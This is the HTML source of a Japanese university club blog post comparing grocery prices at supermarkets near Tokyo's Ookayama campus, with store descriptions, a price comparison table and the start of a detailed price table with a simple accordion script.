<p>&#x3053;&#x3061;&#x3089;&#x306E;&#x65B9;&#x304C;&#x5E83;&#x57DF;&#x306A;&#x8ABF;&#x67FB;&#x3092;&#x884C;&#x3063;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;&#x5148;&#x884C;&#x7814;&#x7A76;&#x3068;&#x306E;&#x5DEE;&#x306F;&#x6700;&#x65B0;&#x60C5;&#x5831;&#x3067;&#x3042;&#x308B;&#x3001;&#x5177;&#x4F53;&#x7684;&#x306A;&#x5024;&#x6BB5;&#x3092;&#x8ABF;&#x3079;&#x3066;&#x3044;&#x308B;&#x3001;&#x305D;&#x306E;&#x4E8C;&#x70B9;&#x306E;&#x307F;&#x3067;&#x3059;&#x3002;&#x5404;&#x30B9;&#x30FC;&#x30D1;&#x30FC;&#x306E;&#x96F0;&#x56F2;&#x6C17;&#x3092;&#x3064;&#x304B;&#x307F;&#x305F;&#x3044;&#x4EBA;&#x306F;&#x3042;&#x3061;&#x3089;&#x306E;&#x30D6;&#x30ED;&#x30B0;&#x3092;&#x8A2A;&#x308C;&#x308B;&#x3053;&#x3068;&#x3092;&#x63A8;&#x5968;&#x3057;&#x307E;&#x3059;&#x3002;</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://trap.jp/post/1023/"><div class="kg-bookmark-content"><div class="kg-bookmark-title">&#x81EA;&#x708A;&#x3092;&#x59CB;&#x3081;&#x308B;&#x4EBA;&#x306E;&#x305F;&#x3081;&#x306E;&#x3001;&#x5927;&#x5CA1;&#x5C71;&#x5468;&#x8FBA;&#x30B9;&#x30FC;&#x30D1;&#x30FC;&#x306E;&#x8A71;&#x3010;&#x65B0;&#x6B53;&#x30D6;&#x30ED;&#x30B0;&#x30EA;&#x30EC;&#x30FC;2020 27&#x65E5;&#x76EE;&#x3011;</div><div class="kg-bookmark-description">&#x3053;&#x306E;&#x8A18;&#x4E8B;&#x306F;&#x65B0;&#x6B53;&#x30D6;&#x30ED;&#x30B0;&#x30EA;&#x30EC;&#x30FC;2020 27&#x65E5;&#x76EE;&#x306E;&#x8A18;&#x4E8B;&#x3067;&#x3059;&#x3002; &#x306F;&#x3058;&#x3081;&#x306B;&#x521D;&#x3081;&#x3066;&#x6771;&#x4EAC;&#x5DE5;&#x696D;&#x5927;&#x5B66;&#x5927;&#x5CA1;&#x5C71;&#x30AD;&#x30E3;&#x30F3;&#x30D1;&#x30B9;&#x306B;&#x6765;&#x305F;&#x6642;&#x306E;&#x3053;&#x3068;&#x3092;&#x601D;&#x3044;&#x51FA;&#x3057;&#x3066;&#x307F;&#x3066;&#x304F;&#x3060;&#x3055;&#x3044;&#x3002;&#x5927;&#x5CA1;&#x5C71;&#x99C5;&#x306E;&#x6539;&#x672D;&#x3092;&#x629C;&#x3051;&#x3066;&#x3001;&#x3055;&#x3042;&#x3001;&#x5927;&#x5B66;&#x306F;&#x4EA4;&#x5DEE;&#x70B9;&#x3092;&#x6E21;&#x3063;&#x305F;&#x5148;&#x2026;&#x2026; &#x3048;&#x3063;&#x3001;&#x8FD1;&#x304F;&#x306A;&#x3044;&#xFF1F; &#x8AB0;&#x3057;&#x3082;&#x4E00;&#x5EA6;&#x306F;&#x9A5A;&#x3044;&#x305F;&#x3053;&#x3068;&#x304C;&#x3042;&#x308B;&#x306E;&#x3067;&#x306F;&#x306A;&#x3044;&#x3067;&#x3057;&#x3087;&#x3046;&#x304B;&#x3002; &#x305D;&#x3093;&#x306A;&#x99C5;&#x8FD1;&#x5927;&#x5CA1;&#x5C71;&#x30AD;&#x30E3;&#x30F3;&#x30D1;&#x30B9;&#x306E;&#x96A3;&#x306B;&#x306F;&#x3001;&#x6771;&#x6025;&#x30B9;&#x30C8;&#x30A2;&#x5927;&#x5CA1;&#x5C71;&#x5E97;&#x304C;&#x3042;&#x308A;&#x307E;&#x3059;&#x3002;&#x751F;&#x9BAE;&#x98DF;&#x54C1;&#x306F;&#x3082;&#x3061;&#x308D;&#x3093;&#x306E;&#x3053;&#x3068;&#x3001;&#x52A0;&#x5DE5;&#x98DF;&#x54C1;&#x3084;&#x98F2;&#x6599;&#x3082;&#x4E00;&#x901A;&#x308A;&#x63C3;&#x3063;&#x3066;&#x304A;&#x308A;&#x3001;&#x30D1;&#x30F3;&#x3084;&#x60E3;&#x83DC;&#x3082;&#x5145;&#x5B9F;&#x3057;&#x305F;&#x30E9;&#x30A4;&#x30F3;&#x30CA;&#x30C3;&#x30D7;&#x3002;&#x99C5;&#x3082;&#x30B9;&#x30FC;&#x30D1;&#x30FC;&#x3082;&#x8FD1;&#x3044;&#x3060;&#x306A;&#x3093;&#x3066;&#xFF01;&#x4FBF;&#x5229;&#xFF01;&#x3044;&#x3044;&#x30AD;&#x30E3;&#x30F3;&#x30D1;&#x30B9;&#x3060;&#x306A;&#x3042;&#xFF01; &#x3061;&#x3087;&#x3063;&#x3068;&#x5F85;&#x3063;&#x305F;&#x3002;&#x305D;&#x306E;&#x8CB7;&#x3044;&#x7269;&#x3001;&#x672C;&#x5F53;&#x306B;&#x6771;&#x6025;&#x30B9;&#x30C8;&#x30A2;&#x5927;&#x5CA1;&#x5C71;&#x5E97;&#x3067;&#x6E08;&#x307E;&#x305B;&#x3066;&#x3044;&#x3044;&#x306E;&#x304B;&#xFF1F; &#x6B8B;&#x5FF5;&#x306A;&#x304C;&#x3089;&#x3001;&#x3053;&#x306E;&#x30B9;&#x30FC;&#x30D1;&#x30FC;&#x3001;&#x6C7A;&#x3057;&#x3066;&#x4FA1;&#x683C;&#x304C;&#x5B89;&#x3044;&#x3068;&#x306F;&#x8A00;&#x3048;&#x306A;&#x3044;&#x3068;&#x3044;&#x3046;&#x3068;&#x3093;&#x3067;&#x3082;&#x306A;&#x3044;&#x7F60;&#x304C;&#x3042;&#x308A;&#x307E;&#x3059;&#x3002; &#x3082;&#x3061;&#x308D;&#x3093;&#x6625;&#x304B;&#x3089;&#x4E0B;&#x5BBF;&#x3092;&#x59CB;&#x3081;&#x305F;&#x3070;&#x304B;&#x308A;&#x306E;&#x65B0;&#x5165;&#x751F;&#x306F;&#x305D;&#x3093;&#x306A;&#x3053;&#x3068;&#x77E5;&#x308B;&#x3088;&#x3057;&#x3082;&#x306A;&#x3044;&#x3067;&#x3059;&#x304B;&#x3089;&#x3001;&#x3057;&#x3070;&#x3089;&#x304F;&#x3053;&#x3053;&#x4EE5;&#x5916;&#x306E;&#x30B9;&#x30FC;&#x30D1;&#x30FC;&#x306E;&#x5B58;&#x5728;&#x306B;&#x6C17;&#x4ED8;&#x304B;&#x305A;&#x3001;&#x81EA;&#x708A;&#x3057;&#x3066;&#x7BC0;&#x7D04;&#x3059;&#x308B;&#x306F;&#x305A;&#x304C;&#x5B9F;&#x306F;&#x3058;&#x308F;&#x3058;&#x308F;&#x8CA1;&#x5E03;&#x306B;&#x30C0;&#x30E1;&#x30FC;&#x30B8;&#x3092;&#x5165;&#x308C;&#x3066;&#x3044;&#x305F;&#x3001;&#x306A;&#x3093;&#x3066;&#x3053;&#x3068;&#x3082;&#x2026;&#x2026;&#x3002;1&#x5E74;&#xFF08;&#x7A0B;&#x3005;&#x306B;&#xFF09;&#x81EA;&#x708A;&#x3092;&#x7D9A;&#x3051;&#x3066;&#x304D;&#x305F;&#x5148;&#x8F29;&#x3068;&#x3057;&#x3066;&#x3001;&#x3053;&#x308C;&#x3092;&#x898B;&#x904E;&#x3054;&#x3059;&#x308F;&#x3051;&#x306B;&#x306F;&#x3044;&#x304D;&#x307E;&#x305B;&#x3093;&#x3002; &#x3053;&#x306E;&#x8A18;&#x4E8B;&#x3067;&#x306F;&#x3001;&#x4E3B;&#x306B;&#x81EA;&#x708A;&#x3092;&#x9811;&#x5F35;&#x308B;&#x305E;&#xFF01;&#x3068;&#x3044;&#x3046;&#x3084;&#x308B;</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://trap.jp/content/images/size/w256h256/2020/01/traP_logo_icon.png" alt="&#x30B9;&#x30FC;&#x30D1;&#x30FC;&#x5225;&#x306B;&#x5024;&#x6BB5;&#x3092;&#x6BD4;&#x8F03;&#x3057;&#x3066;&#x307F;&#x305F;&#xFF01; &#x3010;&#x65B0;&#x6B53;&#x30D6;&#x30ED;&#x30B0;&#x30EA;&#x30EC;&#x30FC;2026 52&#x65E5;&#x76EE;&#x3011;"><span class="kg-bookmark-author">&#x6771;&#x4EAC;&#x79D1;&#x5B66;&#x5927;&#x5B66;&#x30C7;&#x30B8;&#x30BF;&#x30EB;&#x5275;&#x4F5C;&#x540C;&#x597D;&#x4F1A;traP</span><span class="kg-bookmark-publisher">Suu__u</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://trap.jp/content/images/2020/04/------------.png" alt="&#x30B9;&#x30FC;&#x30D1;&#x30FC;&#x5225;&#x306B;&#x5024;&#x6BB5;&#x3092;&#x6BD4;&#x8F03;&#x3057;&#x3066;&#x307F;&#x305F;&#xFF01; &#x3010;&#x65B0;&#x6B53;&#x30D6;&#x30ED;&#x30B0;&#x30EA;&#x30EC;&#x30FC;2026 52&#x65E5;&#x76EE;&#x3011;"></div></a></figure><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://trap.jp/post/1839/#fn-uemml8i-1"><div class="kg-bookmark-content"><div class="kg-bookmark-title">&#x3010;&#x6539;&#x5B9A;&#x7248;&#x3011; &#x5927;&#x5CA1;&#x5C71;&#x5468;&#x8FBA;(?)&#x30B9;&#x30FC;&#x30D1;&#x30FC;&#x306E;&#x8A71; &#x3010;&#x65B0;&#x6B53;&#x30D6;&#x30ED;&#x30B0;&#x30EA;&#x30EC;&#x30FC;2023 27&#x65E5;&#x76EE;&#x3011;</div><div class="kg-bookmark-description">&#x3053;&#x306E;&#x8A18;&#x4E8B;&#x306F;&#x65B0;&#x6B53;&#x30D6;&#x30ED;&#x30B0;&#x30EA;&#x30EC;&#x30FC;2023 27&#x65E5;&#x76EE;&#x306E;&#x8A18;&#x4E8B;&#x3067;&#x3059;&#x3002; &#x306F;&#x3058;&#x3081;&#x306B;&#x9061;&#x308B;&#x3053;&#x3068;3&#x5E74;&#x524D;&#x3001;&#x3072;&#x305F;&#x3059;&#x3089;&#x5927;&#x5CA1;&#x5C71;&#x5468;&#x8FBA;(?)&#x306E;&#x30B9;&#x30FC;&#x30D1;&#x30FC;&#x30DE;&#x30FC;&#x30B1;&#x30C3;&#x30C8;&#x3092;&#x7D39;&#x4ECB;&#x3059;&#x308B;&#x8A18;&#x4E8B;&#x3092;&#x66F8;&#x304D;&#x307E;&#x3057;&#x305F;&#x3002; &#x81EA;&#x708A;&#x3092;&#x59CB;&#x3081;&#x308B;&#x4EBA;&#x306E;&#x305F;&#x3081;&#x306E;&#x3001;&#x5927;&#x5CA1;&#x5C71;&#x5468;&#x8FBA;&#x30B9;&#x30FC;&#x30D1;&#x30FC;&#x306E;&#x8A71;&#x3010;&#x65B0;&#x6B53;&#x30D6;&#x30ED;&#x30B0;&#x30EA;&#x30EC;&#x30FC;2020 27&#x65E5;&#x76EE;&#x3011;&#x3053;&#x306E;&#x8A18;&#x4E8B;&#x306F;&#x65B0;&#x6B53;&#x30D6;&#x30ED;&#x30B0;&#x30EA;&#x30EC;&#x30FC;2020 27&#x65E5;&#x76EE;&#x306E;&#x8A18;&#x4E8B;&#x3067;&#x3059;&#x3002; &#x306F;&#x3058;&#x3081;&#x306B;&#x521D;&#x3081;&#x3066;&#x6771;&#x4EAC;&#x5DE5;&#x696D;&#x5927;&#x5B66;&#x5927;&#x5CA1;&#x5C71;&#x30AD;&#x30E3;&#x30F3;&#x30D1;&#x30B9;&#x306B;&#x6765;&#x305F;&#x6642;&#x306E;&#x3053;&#x3068;&#x3092;&#x601D;&#x3044;&#x51FA;&#x3057;&#x3066;&#x307F;&#x3066;&#x304F;&#x3060;&#x3055;&#x3044;&#x3002; &#x5927;&#x5CA1;&#x5C71;&#x99C5;&#x306E;&#x6539;&#x672D;&#x3092;&#x629C;&#x3051;&#x3066;&#x3001;&#x3055;&#x3042;&#x3001;&#x5927;&#x5B66;&#x306F;&#x4EA4;&#x5DEE;&#x70B9;&#x3092;&#x6E21;&#x3063;&#x305F;&#x5148;&#x2026;&#x2026; &#x3048;&#x3063;&#x3001;&#x8FD1;&#x304F;&#x306A;&#x3044;&#xFF1F;&#x8AB0;&#x3057;&#x3082;&#x4E00;&#x5EA6;&#x306F;&#x9A5A;&#x3044;&#x305F;&#x3053;&#x3068;&#x304C;&#x3042;&#x308B;&#x306E;&#x3067;&#x306F;&#x306A;&#x3044;&#x3067;&#x3057;&#x3087;&#x3046;&#x304B;&#x3002; &#x305D;&#x3093;&#x306A;&#x99C5;&#x8FD1;&#x5927;&#x5CA1;&#x5C71;&#x30AD;&#x30E3;&#x30F3;&#x30D1;&#x30B9;&#x306E;&#x96A3;&#x306B;&#x306F;&#x3001;&#x6771;&#x6025;&#x30B9;&#x30C8;&#x30A2;&#x5927;&#x5CA1;&#x5C71;&#x5E97;&#x304C;&#x3042;&#x308A;&#x307E;&#x3059;&#x3002;&#x751F;&#x9BAE;&#x98DF;&#x54C1;&#x306F;&#x3082;&#x3061;&#x308D;&#x3093;&#x306E;&#x3053;&#x3068;&#x3001;&#x52A0;&#x5DE5;&#x98DF;&#x54C1;&#x3084;&#x98F2;&#x6599;&#x3082;&#x4E00;&#x901A;&#x308A;&#x63C3;&#x3063;&#x3066;&#x304A;&#x308A;&#x3001;&#x30D1;&#x30F3;&#x3084;&#x60E3;&#x83DC;&#x3082;&#x5145;&#x5B9F;&#x3057;&#x305F;&#x30E9;&#x30A4;&#x30F3;&#x30CA;&#x30C3;&#x30D7;&#x3002; &#x99C5;&#x3082;&#x30B9;&#x30FC;&#x30D1;&#x30FC;&#x3082;&#x8FD1;&#x3044;&#x3060;&#x306A;&#x3093;&#x3066;&#xFF01;&#x4FBF;&#x5229;&#xFF01;&#x3044;&#x3044;&#x30AD;&#x30E3;&#x30F3;&#x30D1;&#x30B9;&#x3060;&#x306A;&#x3042;&#xFF01;&#x3061;&#x3087;&#x3063;&#x3068;&#x5F85;&#x3063;&#x305F;&#x3002;&#x305D;&#x306E;&#x8CB7;&#x3044;&#x7269;&#x3001;&#x672C;&#x5F53;&#x306B;&#x6771;&#x6025;&#x30B9;&#x30C8;&#x30A2;&#x5927;&#x5CA1;&#x5C71;&#x5E97;&#x3067;&#x6E08;&#x307E;&#x305B;&#x3066;&#x3044;&#x3044;&#x306E;&#x304B;&#xFF1F; &#x6B8B;&#x2026;&#x6771;&#x4EAC;&#x5DE5;&#x696D;&#x5927;&#x5B66;&#x30C7;&#x30B8;&#x30BF;&#x30EB;&#x5275;&#x4F5C;&#x540C;&#x597D;&#x4F1A;traPSuu__u[https://trap.jp/post/1023/]&#x304A;&#x304B;&#x3052;&#x3055;&#x307E;&#x3067;&#x3054;&#x597D;&#x8A55;&#x3092;&#x3044;&#x305F;&#x3060;&#x3044;&#x3066;&#x304A;&#x308A;&#x3001;&#x6642;&#x6298;&#x5225;&#x306E;&#x8A18;&#x4E8B;&#x3084;&#x30C4;&#x30A4;&#x30FC;&#x30C8;&#x306A;&#x3069;&#x3067;&#x5171;&#x6709;&#x3057;&#x3066;</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://trap.jp/content/images/size/w256h256/2020/01/traP_logo_icon.png" alt="&#x30B9;&#x30FC;&#x30D1;&#x30FC;&#x5225;&#x306B;&#x5024;&#x6BB5;&#x3092;&#x6BD4;&#x8F03;&#x3057;&#x3066;&#x307F;&#x305F;&#xFF01; &#x3010;&#x65B0;&#x6B53;&#x30D6;&#x30ED;&#x30B0;&#x30EA;&#x30EC;&#x30FC;2026 52&#x65E5;&#x76EE;&#x3011;"><span class="kg-bookmark-author">&#x6771;&#x4EAC;&#x79D1;&#x5B66;&#x5927;&#x5B66;&#x30C7;&#x30B8;&#x30BF;&#x30EB;&#x5275;&#x4F5C;&#x540C;&#x597D;&#x4F1A;traP</span><span class="kg-bookmark-publisher">Suu__u</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://trap.jp/content/images/2023/04/img_6572.jpg" alt="&#x30B9;&#x30FC;&#x30D1;&#x30FC;&#x5225;&#x306B;&#x5024;&#x6BB5;&#x3092;&#x6BD4;&#x8F03;&#x3057;&#x3066;&#x307F;&#x305F;&#xFF01; &#x3010;&#x65B0;&#x6B53;&#x30D6;&#x30ED;&#x30B0;&#x30EA;&#x30EC;&#x30FC;2026 52&#x65E5;&#x76EE;&#x3011;"></div></a></figure><!--kg-card-begin: markdown--><h2 id="%E8%AA%BF%E6%9F%BB%E7%B5%90%E6%9E%9C">&#x8ABF;&#x67FB;&#x7D50;&#x679C;</h2>
<h3 id="%E5%90%84%E3%82%B9%E3%83%BC%E3%83%91%E3%83%BC%E3%81%AE%E7%89%B9%E8%89%B2">&#x5404;&#x30B9;&#x30FC;&#x30D1;&#x30FC;&#x306E;&#x7279;&#x8272;</h3>
<ul>
<li>&#x8089;&#x306E;&#x30CF;&#x30CA;&#x30DE;&#x30B5; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">&#x2192;</span></span></span></span> &#x7C73;&#x3001;&#x5927;&#x5BB9;&#x91CF;&#x306E;&#x5B89;&#x3044;&#x8089;</li>
<li>&#x696D;&#x52D9;&#x30B9;&#x30FC;&#x30D1;&#x30FC; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">&#x2192;</span></span></span></span> &#x5168;&#x4F53;&#x7684;&#x306B;&#x5B89;&#x3044;&#x304C;&#x3001;&#x7279;&#x306B;&#x51B7;&#x51CD;&#x91CE;&#x83DC;&#x3082;&#x542B;&#x3080;&#x51B7;&#x51CD;&#x98DF;&#x54C1;&#x304C;&#x8C4A;&#x5BCC;</li>
<li>&#x30A4;&#x30C1;&#x30D0;&#x30F3; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">&#x2192;</span></span></span></span> &#x3059;&#x3050;&#x306B;&#x4F7F;&#x3044;&#x5207;&#x308B;&#x3088;&#x3046;&#x306A;&#x91CE;&#x83DC;&#xFF08;&#x75DB;&#x3093;&#x3067;&#x304D;&#x305F;&#x91CE;&#x83DC;&#x304C;&#x3059;&#x3079;&#x3066;&#x4E00;&#x5F8B;100&#x5186;&#x3067;&#x58F2;&#x3063;&#x3066;&#x3044;&#x308B;&#xFF09;</li>
<li>&#x30D2;&#x30EB;&#x30DE;&#x30DE;&#x30FC;&#x30B1;&#x30C3;&#x30C8; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">&#x2192;</span></span></span></span> &#x7279;&#x7B46;&#x3057;&#x3066;&#x5B89;&#x304F;&#x306F;&#x306A;&#x3044;&#x304C;&#x3001;&#x6BCE;&#x9031;&#x306E;&#x3084;&#x3063;&#x3066;&#x3044;&#x308B;&#x8089;&#x306E;&#x65E5;&#x3084;&#x9B5A;&#x306E;&#x65E5;&#x306A;&#x3069;&#x306B;&#x5408;&#x308F;&#x305B;&#x308B;&#x3068;&#x30DD;&#x30A4;&#x30F3;&#x30C8;&#x3067;&#x591A;&#x5C11;&#x304A;&#x5F97;</li>
<li>&#x30A4;&#x30AA;&#x30F3;&#x30B9;&#x30BF;&#x30A4;&#x30EB; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">&#x2192;</span></span></span></span> &#x5E45;&#x5E83;&#x3044;&#x54C1;&#x305E;&#x308D;&#x3048;&#x3001;&#x96E8;&#x306E;&#x65E5;&#x306B;&#x884C;&#x304F;&#x3068;&#x3001;&#x5BA2;&#x304C;&#x5C11;&#x306A;&#x3044;&#x305F;&#x3081;&#x304B;&#x5915;&#x65B9;&#x3067;&#x3082;&#x591A;&#x304F;&#x306E;&#x54C1;&#x304C;&#x6B8B;&#x3063;&#x3066;&#x304A;&#x308A;&#x3001;&#x9BAE;&#x9B5A;&#x306A;&#x3069;&#x304C;&#x5927;&#x5E45;&#x306B;&#x5272;&#x5F15;&#x3055;&#x308C;&#x3066;&#x3044;&#x308B;&#x3053;&#x3068;&#x3082;</li>
<li>&#x307E;&#x3044;&#x3070;&#x3059;&#x3051;&#x3063;&#x3068; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">&#x2192;</span></span></span></span> &#x5E97;&#x8217;&#x6570;&#x304C;&#x3068;&#x306B;&#x304B;&#x304F;&#x591A;&#x304F;&#x3001;&#x30A2;&#x30AF;&#x30BB;&#x30B9;&#x3057;&#x3084;&#x3059;&#x3044;&#x3002;&#x91CE;&#x83DC;&#x3084;&#x5375;&#x3082;&#x5B89;&#x3044;&#x90E8;&#x985E;&#x306B;&#x5165;&#x308B;&#x304C;&#x3001;&#x8089;&#x304C;&#x9AD8;&#x3044;&#x305F;&#x3081;&#x3059;&#x3079;&#x3066;&#x3092;&#x8CB7;&#x304A;&#x3046;&#x3068;&#x3059;&#x308B;&#x3068;&#x304A;&#x9AD8;&#x304F;&#x306A;&#x308B;&#x3002;&#x30B9;&#x30C8;&#x30C3;&#x30AF;&#x91CE;&#x83DC;&#x3084;&#x5375;&#x306A;&#x3069;&#x5E38;&#x306B;&#x5207;&#x3089;&#x3055;&#x306A;&#x3044;&#x3088;&#x3046;&#x306B;&#x3057;&#x3066;&#x3044;&#x308B;&#x3082;&#x306E;&#x306E;&#x88DC;&#x5145;&#x306B;&#x304A;&#x52E7;&#x3081;</li>
<li>&#x6771;&#x6025;&#x30B9;&#x30C8;&#x30A2; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">&#x2192;</span></span></span></span> &#x5E45;&#x5E83;&#x3044;&#x54C1;&#x305E;&#x308D;&#x3048;&#x3067;&#x3001;&#x99C5;&#x306B;&#x4F75;&#x8A2D;&#x3055;&#x308C;&#x3066;&#x3044;&#x308B;&#x305F;&#x3081;&#x30A2;&#x30AF;&#x30BB;&#x30B9;&#x3057;&#x3084;&#x3059;&#x3044;&#x3002;&#x4ED6;&#x306E;&#x5B89;&#x3044;&#x30B9;&#x30FC;&#x30D1;&#x30FC;&#x3068;&#x6BD4;&#x3079;&#x308B;&#x3068;&#x5168;&#x4F53;&#x7684;&#x306B;&#x9AD8;&#x3044;&#x305F;&#x3081;&#x3001;&#x5915;&#x65B9;&#x306E;&#x5272;&#x5F15;&#x306A;&#x3069;&#x3092;&#x72D9;&#x3046;&#x306E;&#x304C;&#x57FA;&#x672C;</li>
<li>&#x5E02;&#x5834;&#x306E;&#x3042;&#x3093;&#x3061;&#x3083;&#x3093; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">&#x2192;</span></span></span></span> &#x54C1;&#x305E;&#x308D;&#x3048;&#x3082;&#x72ED;&#x304F;&#x3001;&#x5B89;&#x304F;&#x306A;&#x3044;&#x4E0A;&#x306B;&#x30A2;&#x30AF;&#x30BB;&#x30B9;&#x3082;&#x3044;&#x3044;&#x308F;&#x3051;&#x3067;&#x306F;&#x306A;&#x3044;&#x304B;&#x3089;&#x4F7F;&#x3063;&#x305F;&#x3053;&#x3068;&#x304C;&#x306A;&#x3044;&#x3002;&#x30D5;&#x30EB;&#x30FC;&#x30C4;&#x304C;&#x591A;&#x5C11;&#x8C4A;&#x5BCC;</li>
</ul>
<h3 id="%E5%80%A4%E6%AE%B5%E6%AF%94%E8%BC%83%E8%A1%A8">&#x5024;&#x6BB5;&#x6BD4;&#x8F03;&#x8868;</h3>
<table>
<thead>
<tr>
<th>&#x54C1;&#x76EE;</th>
<th>&#x8089;&#x306E;&#x30CF;&#x30CA;&#x30DE;&#x30B5;</th>
<th>&#x696D;&#x52D9;&#x30B9;&#x30FC;&#x30D1;&#x30FC;</th>
<th>&#x30A4;&#x30C1;&#x30D0;&#x30F3;</th>
<th>&#x30D2;&#x30EB;&#x30DE;&#x30DE;&#x30FC;&#x30B1;&#x30C3;&#x30C8;</th>
<th>&#x30A4;&#x30AA;&#x30F3;&#x30B9;&#x30BF;&#x30A4;&#x30EB;</th>
<th>&#x307E;&#x3044;&#x3070;&#x3059;&#x3051;&#x3063;&#x3068;</th>
<th>&#x6771;&#x6025;&#x30B9;&#x30C8;&#x30A2;</th>
<th>&#x5E02;&#x5834;&#x306E;&#x3042;&#x3093;&#x3061;&#x3083;&#x3093;</th>
</tr>
</thead>
<tbody>
<tr>
<td>&#x5375;(10&#x500B;&#x30D1;&#x30C3;&#x30AF;)</td>
<td>288</td>
<td>-</td>
<td><mark><strong>199</strong></mark></td>
<td>299</td>
<td>-</td>
<td>259</td>
<td>299</td>
<td>420</td>
</tr>
<tr>
<td>&#x725B;&#x4E73;(1L)</td>
<td>139</td>
<td><mark><strong>111</strong></mark></td>
<td>239</td>
<td>179</td>
<td>148</td>
<td>129</td>
<td>198</td>
<td>-</td>
</tr>
<tr>
<td>&#x30D9;&#x30FC;&#x30B3;&#x30F3;</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td><mark><strong>298</strong></mark></td>
<td>-</td>
<td>299</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>&#x306B;&#x3093;&#x3058;&#x3093;</td>
<td>250</td>
<td>207</td>
<td><mark><strong>199</strong></mark></td>
<td>299</td>
<td>-</td>
<td><mark><strong>199</strong></mark></td>
<td>249</td>
<td>200</td>
</tr>
<tr>
<td>&#x6728;&#x7DBF;&#x8C46;&#x8150;</td>
<td>75</td>
<td><mark><strong>40</strong></mark></td>
<td>69</td>
<td>79</td>
<td>-</td>
<td>59</td>
<td>99</td>
<td>-</td>
</tr>
<tr>
<td>&#x7389;&#x306D;&#x304E;</td>
<td><mark><strong>298</strong></mark></td>
<td>322</td>
<td>299</td>
<td>336</td>
<td>-</td>
<td>299</td>
<td>299</td>
<td>160</td>
</tr>
<tr>
<td>&#x821E;&#x8338;</td>
<td>150</td>
<td><mark><strong>88</strong></mark></td>
<td>139</td>
<td>199</td>
<td>-</td>
<td>89</td>
<td>158</td>
<td>230</td>
</tr>
<tr>
<td>&#x30A6;&#x30A4;&#x30F3;&#x30CA;&#x30FC;</td>
<td>398</td>
<td>-</td>
<td>438</td>
<td>398</td>
<td><mark><strong>328</strong></mark></td>
<td>399</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>&#x767D;&#x7C73;(100g&#x5F53;&#x305F;&#x308A;)</td>
<td><mark><strong>656</strong></mark></td>
<td>-</td>
<td>-</td>
<td>780</td>
<td>-</td>
<td>699.8</td>
<td>756</td>
<td>-</td>
</tr>
<tr>
<td>&#x62BC;&#x9EA6;</td>
<td><mark><strong>47.5</strong></mark></td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>60.7</td>
<td>-</td>
</tr>
<tr>
<td>&#x8C5A;&#x8089;(100g&#x5F53;&#x305F;&#x308A;)</td>
<td><mark><strong>89</strong></mark></td>
<td>-</td>
<td>113</td>
<td>118</td>
<td>-</td>
<td>139</td>
<td>-</td>
<td>-</td>
</tr>
</tbody>
</table>
<h3 id="%E8%A1%A8%E3%81%AE%E5%85%83%E3%81%A8%E3%81%AA%E3%82%8B%E8%A9%B3%E7%B4%B0%E3%83%87%E3%83%BC%E3%82%BF">&#x8868;&#x306E;&#x5143;&#x3068;&#x306A;&#x308B;&#x8A73;&#x7D30;&#x30C7;&#x30FC;&#x30BF;</h3>
<!--kg-card-end: markdown--><!--kg-card-begin: html--><style>
  .accordion {
    background-color: #f2f2f2;
    cursor: pointer;
    padding: 12px;
    width: 100%;
    border: none;
    text-align: left;
    outline: none;
    font-size: 18px;
    margin-top: 10px;
  }
  .active, .accordion:hover {
    background-color: #ddd;
  }
  .panel {
    padding: 0 10px;
    display: none;
    overflow: hidden;
  }
  table {
    width: 100%;
    border-collapse: collapse;
    margin-top: 8px;
  }
  th {
    background: #333;
    color: black;
    padding: 8px;
    position: sticky;
    top: 0;
    cursor: pointer;
  }
  td {
    padding: 8px;
    border-bottom: 1px solid #ccc;
  }
  tr:nth-child(even) {
    background: #fafafa;
  }
  .highlight {
    background: #ffe9a8 !important;
    font-weight: bold;
  }
  .table-wrapper {
    overflow-x: auto;
  }
</style>

<script>
  document.addEventListener("DOMContentLoaded", function () {
    const acc = document.getElementsByClassName("accordion");
    for (let i = 0; i < acc.length; i++) {
      acc[i].addEventListener("click", function () {
        this.classList.toggle("active");
        const panel = this.nextElementSibling;
        panel.style.display = panel.style.display === "block" ? "none" : "block";
      });
    }
  });
</script>

<!-- 卵 -->
<button class="accordion">&#x5375; &#x306E;&#x6700;&#x5B89;&#x5024;</button>
<div class="panel">
<div class="table-wrapper">
<table class="sortable">
<tr><th>&#x91D1;&#x984D;&#xFF08;&#x7A0E;&#x629C;&#xFF09;</th><th>&#x5185;&#x5BB9;&#x91CF;</th><th>&#x65E5;&#x4ED8;</th><th>&#x30D6;&#x30E9;&#x30F3;&#x30C9;&#x540D;</th><th>&#x5546;&#x54C1;&#x540D;</th></tr>

<tr class="highlight"><td>199</td><td>10&#x500B;</td><td>2026-04-11</td><td>&#x30A4;&#x30C1;&#x30D0;&#x30F3;</td><td>&#x305F;&#x307E;&#x3054;&#x8D64;&#x7389;MS</td></tr>
